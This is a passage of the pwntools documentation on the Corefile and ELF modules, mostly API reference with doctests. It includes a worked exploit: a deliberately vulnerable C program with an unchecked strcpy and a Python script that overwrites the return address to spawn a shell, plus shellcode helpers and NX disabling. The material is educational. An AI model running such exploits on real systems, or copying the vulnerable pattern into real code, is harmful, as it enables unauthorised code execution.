Examples

```
>>> parse_kconfig('FOO=3')
{'FOO': 3}
>>> parse_kconfig('FOO=y')
{'FOO': True}
>>> parse_kconfig('FOO=n')
{'FOO': False}
>>> parse_kconfig('FOO=bar')
{'FOO': 'bar'}
>>> parse_kconfig('# FOO is not set')
{'FOO': None}
```

2.12 pwnlib.elf.corefile — Core Files

Read information from Core Dumps.

Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.

2.12.1 Using Corefiles to Automate Exploitation

For example, if you have a trivial buffer overflow and don't want to open up a debugger or calculate offsets, you can use a generated core dump to extract the relevant information.

```c
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}
```

```
$ gcc crash.c -m32 -o crash -fno-stack-protector
```

```python
from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline(b'id')
print(io.recvline())
# uid=1000(user) gid=1000(user) groups=1000(user)
```

2.12.2 Module Members

class pwnlib.elf.corefile.**Corefile**(**a*, ***kw*)

Bases: *pwnlib.elf.elf.ELF*

Enhances the information available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via `core_obj.eax` and enumerated via *Corefile.registers*.

Memory can be accessed directly via *read()* or *write()*, and also via *pack()* or *unpack()* or even *string()*.

Parameters **core** – Path to the core file. Alternately, may be a *process* instance, and the core file will be located automatically.

```
>>> c = Corefile('./core')
>>> hex(c.eax)
'0xfff5f2e0'
>>> c.registers
{'eax': 4294308576,
 'ebp': 1633771891,
 'ebx': 4151132160,
 'ecx': 4294311760,
 'edi': 0,
 'edx': 4294308700,
 'eflags': 66050,
 'eip': 1633771892,
 'esi': 0,
 'esp': 4294308656,
 'orig_eax': 4294967295,
 'xcs': 35,
 'xds': 43,
 'xes': 43,
 'xfs': 0,
 'xgs': 99,
 'xss': 43}
```

Mappings can be iterated in order via *Corefile.mappings*.

```
>>> Corefile('./core').mappings
[Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5, page_offset=0x0),
 Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4, page_offset=0x1),
 Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6, page_offset=0x2),
 Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0, page_offset=0x1a8),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4, page_offset=0x1a9),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6, page_offset=0x1aa),
 Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_offset=0x0),
 Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_offset=0x0),
 Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5, page_offset=0x0),
```

(continues on next page)

(continued from previous page)

```
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000,␣
↪size=0x1000, flags=0x4, page_offset=0x20),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000,␣
↪size=0x1000, flags=0x6, page_offset=0x21),
 Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6,␣
↪page_offset=0x0)]
```

Examples

Let's build an example binary which should eat `R0=0xdeadbeef` and `PC=0xcafebabe`.

If we run the binary and then wait for it to exit, we can get its core file.

```
>>> context.clear(arch='arm')
>>> shellcode = shellcraft.mov('r0', 0xdeadbeef)
>>> shellcode += shellcraft.mov('r1', 0xcafebabe)
>>> shellcode += 'bx r1'
>>> address = 0x41410000
>>> elf = ELF.from_assembly(shellcode, vma=address)
>>> io = elf.process(env={'HELLO': 'WORLD'})
>>> io.poll(block=True)
-11
```

You can specify a full path a la `Corefile('/path/to/core')`, but you can also just access the *`process.corefile`* attribute.

There's a lot of behind-the-scenes logic to locate the corefile for a given process, but it's all handled transparently by Pwntools.

```
>>> core = io.corefile
```

The core file has a *`exe`* property, which is a *`Mapping`* object. Each mapping can be accessed with virtual addresses via subscript, or contents can be examined via the *`Mapping.data`* attribute.

```
>>> core.exe # doctest: +ELLIPSIS
Mapping('/.../step3', start=..., stop=..., size=0x1000, flags=0x..., page_offset=.
↪..)
>>> hex(core.exe.address)
'0x41410000'
```

The core file also has registers which can be accessed direclty. Pseudo-registers *`pc`* and *`sp`* are available on all architectures, to make writing architecture-agnostic code more simple. If this were an amd64 corefile, we could access e.g. `core.rax`.

```
>>> core.pc == 0xcafebabe
True
>>> core.r0 == 0xdeadbeef
True
>>> core.sp == core.r13
True
```

We may not always know which signal caused the core dump, or what address caused a segmentation fault. Instead of accessing registers directly, we can also extract this information from the core dump via *`fault_addr`* and *`signal`*.

On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our example, that's correct anyway.

```
>>> core.fault_addr == 0xcafebabe
True
>>> core.signal
11
```

Core files can also be generated from running processes. This requires GDB to be installed, and can only be done with native processes. Getting a "complete" corefile requires GDB 7.11 or better.

```
>>> elf = ELF(which('bash-static'))
>>> context.clear(binary=elf)
>>> env = dict(os.environ)
>>> env['HELLO'] = 'WORLD'
>>> io = process(elf.path, env=env)
>>> io.sendline(b'echo hello')
>>> io.recvline()
b'hello\n'
```

The process is still running, but accessing its `process.corefile` property automatically invokes GDB to attach and dump a corefile.

```
>>> core = io.corefile
>>> io.close()
```

The corefile can be inspected and read from, and even exposes various mappings

```
>>> core.exe # doctest: +ELLIPSIS
Mapping('.../bin/bash-static', start=..., stop=..., size=..., flags=..., page_
↪offset=...)
>>> core.exe.data[0:4]
b'\x7fELF'
```

It also supports all of the features of `ELF`, so you can `read()` or `write()` or even the helpers like `pack()` or `unpack()`.

Don't forget to call `ELF.save()` to save the changes to disk.

```
>>> core.read(elf.address, 4)
b'\x7fELF'
>>> core.pack(core.sp, 0xdeadbeef)
>>> core.save()
```

Let's re-load it as a new `Corefile` object and have a look!

```
>>> core2 = Corefile(core.path)
>>> hex(core2.unpack(core2.sp))
'0xdeadbeef'
```

Various other mappings are available by name, for the first segment of:

- `exe` the executable
- `libc` the loaded libc, if any
- `stack` the stack mapping
- `vvar`

- *vdso*
- *vsyscall*

On Linux, 32-bit Intel binaries should have a VDSO section via *vdso*. Since our ELF is statically linked, there is no libc which gets mapped.

```
>>> core.vdso.data[:4]
b'\x7fELF'
>>> core.libc
```

But if we dump a corefile from a dynamically-linked binary, the *libc* will be loaded.

```
>>> process('bash').corefile.libc # doctest: +ELLIPSIS
Mapping('/.../libc-....so', start=0x..., stop=0x..., size=0x..., flags=..., page_
↪offset=...)
```

The corefile also contains a *stack* property, which gives us direct access to the stack contents. On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL- terminated path to the executable (as passed via the first arg to `execve`).

```
>>> core.stack # doctest: +ELLIPSIS
Mapping('[stack]', start=0x..., stop=0x..., size=0x..., flags=0x6, page_
↪offset=0x0)
```

When creating a process, the kernel puts the absolute path of the binary and some padding bytes at the end of the stack. We can look at those by looking at `core.stack.data`.

```
>>> size = len('/bin/bash-static') + 8
>>> core.stack.data[-size:]
b'bin/bash-static\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```

We can also directly access the environment variables and arguments, via *argc*, *argv*, and *env*.

```
>>> 'HELLO' in core.env
True
>>> core.string(core.env['HELLO'])
b'WORLD'
>>> core.getenv('HELLO')
b'WORLD'
>>> core.argc
1
>>> core.argv[0] in core.stack
True
>>> core.string(core.argv[0]) # doctest: +ELLIPSIS
b'.../bin/bash-static'
```

Corefiles can also be pulled from remote machines via SSH!

```
>>> s = ssh(user='travis', host='example.pwnme', password='demopass')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
>>> _ =s.chmod('+x', path)
>>> io = s.process(path)
>>> io.wait(1)
-1
>>> io.corefile.signal == signal.SIGTRAP # doctest: +SKIP
True
```

Make sure fault_addr synthesis works for amd64 on ret.

```
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('push 1234; ret')
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.fault_addr
1234
```

Corefile.getenv() works correctly, even if the environment variable's value contains embedded '='. Corefile is able to find the stack, even if the stack pointer doesn't point at the stack.

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process(env={'FOO': 'BAR=BAZ'})
>>> io.wait(1)
>>> core = io.corefile
>>> core.getenv('FOO')
b'BAR=BAZ'
>>> core.sp == 0
True
>>> core.sp in core.stack
False
```

Corefile gracefully handles the stack being filled with garbage, including argc / argv / envp being overwritten.

```
>>> context.clear(arch='i386')
>>> assembly = '''
... LOOP:
...   mov dword ptr [esp], 0x41414141
...   pop eax
...   jmp LOOP
... '''
>>> elf = ELF.from_assembly(assembly)
>>> io = elf.process()
>>> io.wait(2)
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith(b'AAAA')
True
>>> core.fault_addr == core.sp
True
```

__init__(**a, **kw*)

x.__init__(...) initializes x; see help(type(x)) for signature

_populate_got()

Loads the symbols for all relocations

_populate_plt()

Loads the PLT symbols

```
>>> path = pwnlib.data.elf.path
>>> for test in glob(os.path.join(path, 'test-*')):
...     test = ELF(test)
...     assert '__stack_chk_fail' in test.got, test
...     if test.arch != 'ppc':
...         assert '__stack_chk_fail' in test.plt, test
```

debug()
Open the corefile under a debugger.

getenv(*name*) → int
Read an environment variable off the stack, and return its contents.

Parameters **name** (*str*) – Name of the environment variable to read.

Returns str – The contents of the environment variable.

Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process(env={'GREETING': 'Hello!'})
>>> io.wait(1)
>>> io.corefile.getenv('GREETING')
b'Hello!'
```

argc = None
Number of arguments passed

Type int

argc_address = None
Pointer to argc on the stack

Type int

argv = None
List of addresses of arguments on the stack.

Type list

argv_address = None
Pointer to argv on the stack

Type int

envp_address = None
Pointer to envp on the stack

Type int

exe
First mapping for the executable file.

Type *Mapping*

fault_addr

Address which generated the fault, for the signals SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native core dumps created by the kernel. If the information is unavailable, this returns the address of the instruction pointer.

Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
>>> io = elf.process()
>>> io.wait(1)
```

(continues on next page)

(continued from previous page)

```
>>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
True
```

Type int

libc
First mapping for `libc.so`

Type *Mapping*

mappings = None
A list of *Mapping* objects for each loaded memory region

Type list

maps
A printable string which is similar to /proc/xx/maps.

```
>>> print(Corefile('./core').maps)
8048000-8049000 r-xp 1000 /home/user/pwntools/crash
8049000-804a000 r--p 1000 /home/user/pwntools/crash
804a000-804b000 rw-p 1000 /home/user/pwntools/crash
f7528000-f7529000 rw-p 1000 None
f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so
f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so
f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d5000-f76d8000 rw-p 3000 None
f76ef000-f76f1000 rw-p 2000 None
f76f1000-f76f2000 r-xp 1000 [vdso]
f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so
f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so
f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so
fff3e000-fff61000 rw-p 23000 [stack]
```

Type str

pc
The program counter for the Corefile

This is a cross-platform way to get e.g. `core.eip`, `core.rip`, etc.

Type int

pid
PID of the process which created the core dump.

Type int

ppid
Parent PID of the process which created the core dump.

Type int

prpsinfo = None
The NT_PRPSINFO object

prstatus = None
The NT_PRSTATUS object.

registers
All available registers in the coredump.

Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch=
↪'i386')
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.registers['eax'] == 0xdeadbeef
True
```

Type dict

siginfo = None
The NT_SIGINFO object

signal
Signal which caused the core to be dumped.

Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.signal == signal.SIGTRAP
True
```

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.signal == signal.SIGSEGV
True
```

Type int

sp
The stack pointer for the Corefile

This is a cross-platform way to get e.g. `core.esp`, `core.rsp`, etc.

Type int

stack = None
Environment variables read from the stack. Keys are the environment variable name, values are the memory address of the variable.

Use *getenv()* or *string()* to retrieve the textual value.

Note: If `FOO=BAR` is in the environment, `self.env['FOO']` is the address of the string `"BAR\"`.

vdso
Mapping for the vdso section

Type *Mapping*

vsyscall
Mapping for the vsyscall section

Type *Mapping*

vvar
Mapping for the vvar section

Type *Mapping*

class pwnlib.elf.corefile.**Mapping**(*core*, *name*, *start*, *stop*, *flags*, *page_offset*)
Encapsulates information about a memory mapping in a *Corefile*.

__init__(*core*, *name*, *start*, *stop*, *flags*, *page_offset*)
x.__init__(. . .) initializes x; see help(type(x)) for signature

__repr__() <==> *repr(x)*

__str__() <==> *str(x)*

find(*sub*, *start=None*, *end=None*)
Similar to str.find() but works on our address space

rfind(*sub*, *start=None*, *end=None*)
Similar to str.rfind() but works on our address space

__weakref__
list of weak references to the object (if defined)

address
Alias for *Mapping.start*.

Type int

data
Memory of the mapping.

Type str

flags = None
Mapping flags, using e.g. `PROT_READ` and so on.

Type int

name = None
Name of the mapping, e.g. `'/bin/bash'` or `'[vdso]'`.

Type str

page_offset = None
Offset in pages in the mapped file

Type int

path
Alias for *Mapping.name*

Type str

permstr
Human-readable memory permission string, e.g. `r-xp`.

Type str

size = None
Size of the mapping, in bytes

Type int

start = None
First mapped byte in the mapping

Type int

stop = None
First byte after the end of hte mapping

Type int

2.13 pwnlib.elf.elf — ELF Files

Exposes functionality for manipulating ELF files

Stop hard-coding things! Look them up at runtime with `pwnlib.elf`.

2.13.1 Example Usage

```
>>> e = ELF('/bin/cat')
>>> print(hex(e.address))
0x400000
>>> print(hex(e.symbols['write']))
0x401680
>>> print(hex(e.got['write']))
0x60b070
>>> print(hex(e.plt['write']))
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
b'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat','rb').read(1))
'   0:   c3                      ret'
```

2.13.2 Module Members

class pwnlib.elf.elf.**ELF**(*path*, *checksec=True*)
Bases: `elftools.elf.elffile.ELFFile`

Encapsulates information about an ELF file.

Example

```
>>> bash = ELF(which('bash'))
>>> hex(bash.symbols['read'])
0x41dac0
>>> hex(bash.plt['read'])
```

(continues on next page)

(continued from previous page)

```
0x41dac0
>>> u32(bash.read(bash.got['read'], 4))
0x41dac6
>>> print(bash.disasm(bash.plt.read, 16))
0:   ff 25 1a 18 2d 00       jmp    QWORD PTR [rip+0x2d181a]        # 0x2d1820
6:   68 59 00 00 00          push   0x59
b:   e9 50 fa ff ff          jmp    0xffffffffffffffa60
```

__format__()
default object formatter

__getitem__(*name*)
Implement dict-like access to header entries

__init__(*path*, *checksec=True*)
x.__init__(...) initializes x; see help(type(x)) for signature

__new__(*S*, *...*) → a new object with type S, a subtype of T

__reduce__()
helper for pickle

__reduce_ex__()
helper for pickle

__repr__() <==> *repr(x)*

__sizeof__() → int
size of object in memory, in bytes

__subclasshook__()
Abstract classes can override this to customize issubclass().

This is invoked early on by abc.ABCMeta.__subclasscheck__(). It should return True, False or NotImplemented. If it returns NotImplemented, the normal algorithm is used. Otherwise, it overrides the normal algorithm (and the outcome is cached).

static _decompress_dwarf_section(*section*)
Returns the uncompressed contents of the provided DWARF section.

_get_section_header(*n*)
Find the header of section #n, parse it and return the struct

_get_section_header_stringtable()
Get the string table section corresponding to the section header table.

_get_section_name(*section_header*)
Given a section header, find this section's name in the file's string table

_get_segment_header(*n*)
Find the header of segment #n, parse it and return the struct

_identify_file()
Verify the ELF file and identify its class and endianness.

_make_gnu_verdef_section(*section_header*, *name*)
Create a GNUVerDefSection

_make_gnu_verneed_section(*section_header*, *name*)
Create a GNUVerNeedSection

_make_gnu_versym_section (*section_header*, *name*)
Create a GNUVerSymSection

_make_section (*section_header*)
Create a section object of the appropriate type

_make_segment (*segment_header*)
Create a Segment object of the appropriate type

_make_sunwsyminfo_table_section (*section_header*, *name*)
Create a SUNWSyminfoTableSection

_make_symbol_table_index_section (*section_header*, *name*)
Create a SymbolTableIndexSection object

_make_symbol_table_section (*section_header*, *name*)
Create a SymbolTableSection

_parse_elf_header ()
Parses the ELF file header and assigns the result to attributes of this object.

_patch_elf_and_read_maps ()
patch_elf_and_read_maps(self) -> dict

Read `/proc/self/maps` as if the ELF were executing.

This is done by replacing the code at the entry point with shellcode which dumps `/proc/self/maps` and exits, and **actually executing the binary**.

Returns

A `dict` mapping file paths to the lowest address they appear at. Does not do any translation for e.g. QEMU emulation, the raw results are returned.

If there is not enough space to inject the shellcode in the segment which contains the entry point, returns `{}`.

Doctests:

These tests are just to ensure that our shellcode is correct.

```
>>> for arch in CAT_PROC_MAPS_EXIT:
...   context.clear()
...   with context.local(arch=arch):
...     sc = shellcraft.cat2("/proc/self/maps")
...     sc += shellcraft.exit()
...     sc = asm(sc)
...     sc = enhex(sc)
...     assert sc == CAT_PROC_MAPS_EXIT[arch], (arch, sc)
```

_populate_functions ()
Builds a dict of 'functions' (i.e. symbols of type 'STT_FUNC') by function name that map to a tuple consisting of the func address and size in bytes.

_populate_got ()
Loads the symbols for all relocations

_populate_libraries ()

```
>>> from os.path import exists
>>> bash = ELF(which('bash'))
```

(continues on next page)

(continued from previous page)

```
>>> all(map(exists, bash.libs.keys()))
True
>>> any(map(lambda x: 'libc' in x, bash.libs.keys()))
True
```

_populate_plt()

Loads the PLT symbols

```
>>> path = pwnlib.data.elf.path
>>> for test in glob(os.path.join(path, 'test-*')):
...     test = ELF(test)
...     assert '__stack_chk_fail' in test.got, test
...     if test.arch != 'ppc':
...         assert '__stack_chk_fail' in test.plt, test
```

_populate_symbols()

```
>>> bash = ELF(which('bash'))
>>> bash.symbols['_start'] == bash.entry
True
```

_populate_synthetic_symbols()

Adds symbols from the GOT and PLT to the symbols dictionary.

Does not overwrite any existing symbols, and prefers PLT symbols.

Synthetic plt.xxx and got.xxx symbols are added for each PLT and GOT entry, respectively.

Example:bash.

```
>>> bash = ELF(which('bash'))
>>> bash.symbols.wcscmp == bash.plt.wcscmp
True
>>> bash.symbols.wcscmp == bash.symbols.plt.wcscmp
True
>>> bash.symbols.stdin  == bash.got.stdin
True
>>> bash.symbols.stdin  == bash.symbols.got.stdin
True
```

_read_dwarf_section(*section*, *relocate_dwarf_sections*)

Read the contents of a DWARF section from the stream and return a DebugSectionDescriptor. Apply relocations if asked to.

_section_offset(*n*)

Compute the offset of section #n in the file

_segment_offset(*n*)

Compute the offset of segment #n in the file

asm(*address*, *assembly*)

Assembles the specified instructions and inserts them into the ELF at the specified address.

This modifies the ELF in-place. The resulting binary can be saved with `ELF.save()`

bss(*offset=0*) → int

Returns Address of the `.bss` section, plus the specified offset.

checksec (*banner=True*, *color=True*)
Prints out information in the binary, similar to `checksec.sh`.

Parameters

- **banner** (*bool*) – Whether to print the path to the ELF binary.
- **color** (*bool*) – Whether to use colored output.

debug (*argv=[]*, **a*, ***kw*) → tube
Debug the ELF with `gdb.debug()`.

Parameters

- **argv** (*list*) – List of arguments to the binary
- ***args** – Extra arguments to `gdb.debug()`
- ****kwargs** – Extra arguments to `gdb.debug()`

Returns `tube` – See `gdb.debug()`

disable_nx ()
Disables NX for the ELF.

Zeroes out the `PT_GNU_STACK` program header `p_type` field.

disasm (*address*, *n_bytes*) → str
Returns a string of disassembled instructions at the specified virtual memory address

dynamic_by_tag (*tag*) → tag

Parameters **tag** (*str*) – Named `DT_XXX` tag (e.g. `'DT_STRTAB'`).

Returns `elftools.elf.dynamic.DynamicTag`

dynamic_string (*offset*) → bytes
Fetches an enumerated string from the `DT_STRTAB` table.

Parameters **offset** (*int*) – String index

Returns `str` – String from the table as raw bytes.

dynamic_value_by_tag (*tag*) → int
Retrieve the value from a dynamic tag a la `DT_XXX`.

If the tag is missing, returns `None`.

fit (*address*, **a*, ***kw*)
Writes fitted data into the specified address.

See: `packing.fit()`

flat (*address*, **a*, ***kw*)
Writes a full array of values to the specified address.

See: `packing.flat()`

static from_assembly (*assembly*) → ELF
Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.

Parameters

- **assembly** (*str*) – Assembly language listing
- **vma** (*int*) – Address of the entry point and the module's base address.

Example

```
>>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)
>>> e.symbols['foo'] = 0x400001
>>> e.disasm(e.entry, 1)
'  400000:       90                      nop'
>>> e.disasm(e.symbols['foo'], 2)
'  400001:       cd 80                   int    0x80'
```

static from_bytes(*bytes*) → ELF

Given a sequence of bytes, return a fully loaded ELF object which contains those bytes at its entry point.

Parameters

- **bytes** (*str*) – Shellcode byte string
- **vma** (*int*) – Desired base address for the ELF.

Example

```
>>> e = ELF.from_bytes(b'\x90\xcd\x80', vma=0xc000)
>>> print(e.disasm(e.entry, 3))
    c000:       90                      nop
    c001:       cd 80                   int    0x80
```

get_ehabi_infos()

Generally, shared library and executable contain 1 .ARM.exidx section. Object file contains many .ARM.exidx sections. So we must traverse every section and filter sections whose type is SHT_ARM_EXIDX.

get_machine_arch()

Return the machine architecture, as detected from the ELF header.

get_section_by_name(*name*)

Get a section from the file, by name. Return None if no such section exists.

get_section_index(*section_name*)

Gets the index of the section by name. Return None if no such section name exists.

get_segment_for_address(*address*, *size=1*) → Segment

Given a virtual address described by a `PT_LOAD` segment, return the first segment which describes the virtual address. An optional `size` may be provided to ensure the entire range falls into the same segment.

Parameters

- **address** (*int*) – Virtual address to find
- **size** (*int*) – Number of bytes which must be available after `address` in **both** the file-backed data for the segment, and the memory region which is reserved for the data.

Returns Either returns a `segments.Segment` object, or `None`.

get_shstrndx()

Find the string table section index for the section header table

has_ehabi_info()

Check whether this file appears to have arm exception handler index table.

iter_segments_by_type(*t*)

Yields Segments matching the specified type.

num_sections()
Number of sections in the file

num_segments()
Number of segments in the file

offset_to_vaddr(*offset*) → int
Translates the specified offset to a virtual address.

Parameters **offset** (*int*) – Offset to translate

Returns *int* – Virtual address which corresponds to the file offset, or None.

Examples

This example shows that regardless of changes to the virtual address layout by modifying *ELF.address*, the offset for any given address doesn't change.

```
>>> bash = ELF('/bin/bash')
>>> bash.address == bash.offset_to_vaddr(0)
True
>>> bash.address += 0x123456
>>> bash.address == bash.offset_to_vaddr(0)
True
```

p16(*address*, *data*, **a*, ***kw*)
Writes a 16-bit integer data to the specified address

p32(*address*, *data*, **a*, ***kw*)
Writes a 32-bit integer data to the specified address

p64(*address*, *data*, **a*, ***kw*)
Writes a 64-bit integer data to the specified address

p8(*address*, *data*, **a*, ***kw*)
Writes a 8-bit integer data to the specified address

pack(*address*, *data*, **a*, ***kw*)
Writes a packed integer data to the specified address

process(*argv=[]*, **a*, ***kw*) → process
Execute the binary with *process*. Note that argv is a list of arguments, and should not include argv[0].

Parameters

- **argv** (*list*) – List of arguments to the binary
- ***args** – Extra arguments to *process*
- ****kwargs** – Extra arguments to *process*

Returns *process*

read(*address*, *count*) → bytes
Read data from the specified virtual address

Parameters

- **address** (*int*) – Virtual address to read
- **count** (*int*) – Number of bytes to read

Returns A `str` object, or `None`.

Examples

The simplest example is just to read the ELF header.

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address, 4)
b'\x7fELF'
```

ELF segments do not have to contain all of the data on-disk that gets loaded into memory.

First, let's create an ELF file has some code in two sections.

```
>>> assembly = '''
... .section .A,"awx"
... .global A
... A: nop
... .section .B,"awx"
... .global B
... B: int3
... '''
>>> e = ELF.from_assembly(assembly, vma=False)
```

By default, these come right after eachother in memory.

```
>>> e.read(e.symbols.A, 2)
b'\x90\xcc'
>>> e.symbols.B - e.symbols.A
1
```

Let's move the sections so that B is a little bit further away.

```
>>> objcopy = pwnlib.asm._objcopy()
>>> objcopy += [
...     '--change-section-vma', '.B+5',
...     '--change-section-lma', '.B+5',
...     e.path
... ]
>>> subprocess.check_call(objcopy)
0
```

Now let's re-load the ELF, and check again

```
>>> e = ELF(e.path)
>>> e.symbols.B - e.symbols.A
6
>>> e.read(e.symbols.A, 2)
b'\x90\x00'
>>> e.read(e.symbols.A, 7)
b'\x90\x00\x00\x00\x00\x00\xcc'
>>> e.read(e.symbols.A, 10)
b'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

Everything is relative to the user-selected base address, so moving things around keeps everything working.

```
>>> e.address += 0x1000
>>> e.read(e.symbols.A, 10)
b'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

save (*path=None*)

Save the ELF to a file

```
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = open('/tmp/bash_copy', 'rb')
>>> bash = open(which('bash'), 'rb')
>>> bash.read() == copy.read()
True
```

search (*needle*, *writable = False*, *executable = False*) → generator

Search the ELF's virtual address space for the specified string.

Notes

Does not search empty space between segments, or uninitialized data. This will only return data that actually exists in the ELF file. Searching for a long string of NULL bytes probably won't work.

Parameters

- **needle** (*str*) – String to search for.
- **writable** (*bool*) – Search only writable sections.
- **executable** (*bool*) – Search only executable sections.

Yields An iterator for each virtual address that matches.

Examples

An ELF header starts with the bytes `\x7fELF`, so we sould be able to find it easily.

```
>>> bash = ELF('/bin/bash')
>>> bash.address + 1 == next(bash.search(b'ELF'))
True
```

We can also search for string the binary.

```
>>> len(list(bash.search(b'GNU bash'))) > 0
True
```

It is also possible to search for instructions in executable sections.

```
>>> binary = ELF.from_assembly('nop; mov eax, 0; jmp esp; ret')
>>> jmp_addr = next(binary.search(asm('jmp esp'), executable = True))
>>> binary.read(jmp_addr, 2) == asm('jmp esp')
True
```

section (*name*) → bytes

Gets data for the named section

Parameters **name** (*str*) – Name of the section

Returns `str` – String containing the bytes for that section

string (*address*) → str
Reads a null-terminated string from the specified `address`

Returns A `str` with the string contents (NUL terminator is omitted), or an empty string if no NUL terminator could be found.

u16 (*address*, **a*, ***kw*)
Unpacks an integer from the specified `address`.

u32 (*address*, **a*, ***kw*)
Unpacks an integer from the specified `address`.

u64 (*address*, **a*, ***kw*)
Unpacks an integer from the specified `address`.

u8 (*address*, **a*, ***kw*)
Unpacks an integer from the specified `address`.

unpack (*address*, **a*, ***kw*)
Unpacks an integer from the specified `address`.

vaddr_to_offset (*address*) → int
Translates the specified virtual address to a file offset

Parameters **address** (*int*) – Virtual address to translate

Returns *int* – Offset within the ELF file which corresponds to the address, or `None`.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.vaddr_to_offset(bash.address)
0
>>> bash.address += 0x123456
>>> bash.vaddr_to_offset(bash.address)
0
>>> bash.vaddr_to_offset(0) is None
True
```

write (*address*, *data*)
Writes data to the specified virtual address

Parameters

- **address** (*int*) – Virtual address to write
- **data** (*str*) – Bytes to write

Note: This routine does not check the bounds on the write to ensure that it stays in the same segment.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
b'ELF'
>>> bash.write(bash.address, b"HELO")
```

(continues on next page)

(continued from previous page)

```
>>> bash.read(bash.address, 4)
b'HELO'
```

__delattr__
x.__delattr__('name') <==> del x.name

__getattribute__
x.__getattribute__('name') <==> x.name

__hash__

__setattr__
x.__setattr__('name', value) <==> x.name = value

__str__

__weakref__
list of weak references to the object (if defined)

address
Address of the lowest segment loaded in the ELF.

When updated, the addresses of the following fields are also updated:

- *symbols*
- *got*
- *plt*
- *functions*

However, the following fields are **NOT** updated:

- *segments*
- *sections*

Example

```
>>> bash = ELF('/bin/bash')
>>> read = bash.symbols['read']
>>> text = bash.get_section_by_name('.text').header.sh_addr
>>> bash.address += 0x1000
>>> read + 0x1000 == bash.symbols['read']
True
>>> text == bash.get_section_by_name('.text').header.sh_addr
True
```

Type int

arch = None
Architecture of the file (e.g. 'i386', 'arm').

See: *ContextType.arch*

Type str

asan
Whether the current binary was built with Address Sanitizer (ASAN).

Type `bool`

aslr
Whether the current binary is position-independent.

Type `bool`

bits = 32
Bit-ness of the file

Type `int`

build = None
